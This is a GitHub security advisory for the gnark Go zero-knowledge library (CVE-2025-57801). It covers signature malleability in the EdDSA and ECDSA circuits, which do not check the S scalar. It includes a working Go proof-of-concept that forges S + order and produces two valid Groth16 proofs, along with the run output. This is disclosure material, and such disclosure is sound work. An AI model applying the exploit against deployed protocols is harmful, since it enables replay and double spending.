GitHub Advisoryadvisory · Go

GHSA-95v9-hv42-pwrj gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks

HIGH Published 2025-08-22 Modified 2026-01-22 Official page ↗
Aliases
CVE-2025-57801
Ecosystem
Go
Packages
github.com/consensys/gnark
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weaknesses
CWE-347
Reviewed
2025-08-22

Affected packages

• Go github.com/consensys/gnark: < 0.14.0 → fixed in 0.14.0

Description

In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in eddsa.go and ecdsa.go, which will lead to *signature malleability* vulnerability. Impact Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending. Exploitation ```go package main import ( "crypto/rand" "fmt" "math/big" "github.com/consensys/gnark-crypto/ecc" mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc" eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa" "github.com/consensys/gnark/backend/groth16" "github.com/consensys/gnark/frontend" "github.com/consensys/gnark/frontend/cs/r1cs" "github.com/consensys/gnark/std/algebra/native/twistededwards" stdMimc "github.com/consensys/gnark/std/hash/mimc" stdEddsa "github.com/consensys/gnark/std/signature/eddsa" te "github.com/consensys/gnark-crypto/ecc/twistededwards" ) // Circuit type eddsaCircuit struct { Msg frontend.Variable `gnark:",public"` Pk stdEddsa.PublicKey `gnark:",public"` Sig stdEddsa.Signature } func (c *eddsaCircuit) Define(api frontend.API) error { curve, _ := twistededwards.NewEdCurve(api, te.BN254) hasher, _ := stdMimc.NewMiMC(api) stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher) return nil } func groupOrder() *big.Int { // BN254 scalar field order (r) const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617" n, _ := new(big.Int).SetString(rStr, 10) return n } // Forge signature: S → S + order func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature { order := groupOrder() var forged eddsaCrypto.Signature forged.R = sig.R s := new(big.Int).SetBytes(sig.S[:]) s.Add(s, order) buf := make([]byte, 32) copy(buf[32-len(s.Bytes()):], s.Bytes()) copy(forged.S[:], buf) return forged } func main() { // Generate key pair priv, _ := eddsaCrypto.GenerateKey(rand.Reader) pub := priv.PublicKey msg := []byte("multi-witness") // Create honest signature h := mimcHash.NewMiMC() h.Write(msg) rawSig, _ := priv.Sign(msg, h) var honest eddsaCrypto.Signature honest.SetBytes(rawSig) forged := forge(honest) // S + order // Setup: Compile circuit and do trusted setup circuit := &eddsaCircuit{} ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit) if err != nil { fmt.Printf("Circuit compilation failed: %v\n", err) return } pk, vk, err := groth16.Setup(ccs) if err != nil { fmt.Printf("Trusted setup failed: %v\n", err) return } // Public inputs (same for both witnesses) var public eddsaCircuit public.Msg = new(big.Int).SetBytes(msg) public.Pk.Assign(te.BN254, pub.Bytes()) // witness 1: honest signature w1 := public w1.Sig.Assign(te.BN254, honest.Bytes()) witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness1: %v\n", err) return } proof1, err := groth16.Prove(ccs, pk, witness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { publicWitness1, err := witness1.Public() if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { err = groth16.Verify(proof1, vk, publicWitness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { fmt.Println("Witness 1 (honest): Prover succeeded!") } } } // witness 2: forged signature w2 := public w2.Sig.Assign(te.BN254, forged.Bytes()) fmt.Println(honest.R.Equal(&forged.R)) fmt.Println(honest.S != forged.S) witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness2: %v\n", err) return } proof2, err := groth16.Prove(ccs, pk, witness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { publicWitness2, err := witness2.Public() if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { err = groth16.Verify(proof2, vk, publicWitness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { fmt.Println("Witness 2 (forged): Prover succeeded!") } } } } ``` Result ```bash go run multiple_witnesses.go 13:47:33 INF compiling circuit 13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3 13:47:33 INF building constraint builder nbConstraints=7003 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583 Witness 1 (honest): Prover succeeded! true true 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833 Witness 2 (forged): Prover succeeded! ``` Credits XlabAI Team of Tencent Xuanwu Lab Atuin Automated Vulnerability Discovery Engine SJTU Group of Software Security In Progress Prof. Yu Yu's Lab at SJTU Additional mitigation The initial patch added check for `s <= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.

Related

Alias · CVE (1)

  • CVE-2025-57801 gnark is a zero-knowledge proof system framework. vulnerability

Weakness · CWE (1)

  • CWE-347 Improper Verification of Cryptographic Signature weakness

References